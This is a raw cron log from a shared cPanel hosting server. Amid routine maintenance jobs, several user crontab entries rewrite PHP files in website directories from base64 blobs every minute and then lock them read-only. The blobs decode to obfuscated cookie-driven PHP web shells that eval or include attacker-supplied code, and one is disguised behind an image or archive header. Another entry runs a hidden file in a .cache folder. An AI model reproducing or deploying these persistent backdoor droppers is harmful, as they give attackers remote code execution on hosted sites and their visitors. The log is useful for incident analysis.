gxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:20:01 medusa CROND[4760]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:20:01 medusa CROND[4792]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:20:01 medusa CROND[4919]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:20:01 medusa CROND[4984]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:20:01 medusa CROND[5012]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:20:01 medusa CROND[5013]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 02:20:01 medusa CROND[5014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:20:01 medusa CROND[5017]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:20:01 medusa CROND[5011]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 02:20:01 medusa CROND[5022]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 02:20:01 medusa CROND[5018]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 02:20:01 medusa CROND[5021]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:20:01 medusa CROND[5019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:20:01 medusa CROND[5026]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:20:01 medusa CROND[5028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:20:01 medusa CROND[5030]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:20:01 medusa CROND[5034]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:20:01 medusa CROND[5035]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:20:01 medusa CROND[5041]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:20:01 medusa CROND[5042]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 02:20:01 medusa CROND[5045]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:20:01 medusa CROND[5048]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:20:01 medusa CROND[5024]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:20:01 medusa CROND[5053]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:20:01 medusa CROND[5058]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:20:01 medusa CROND[5060]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 02:20:01 medusa CROND[5063]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:20:01 medusa CROND[5065]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:20:01 medusa CROND[5056]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:20:01 medusa CROND[5069]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 02:21:01 medusa CROND[11206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:21:01 medusa CROND[11207]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:21:01 medusa CROND[11209]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:21:01 medusa CROND[11213]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:21:01 medusa CROND[11212]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:21:01 medusa CROND[11211]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:21:01 medusa CROND[11224]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:21:01 medusa CROND[11226]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:21:01 medusa CROND[11227]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:21:01 medusa CROND[11225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:21:01 medusa CROND[11229]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:21:01 medusa CROND[11233]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:21:01 medusa CROND[11234]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:21:01 medusa CROND[11235]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:22:01 medusa CROND[17644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:22:02 medusa CROND[17756]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
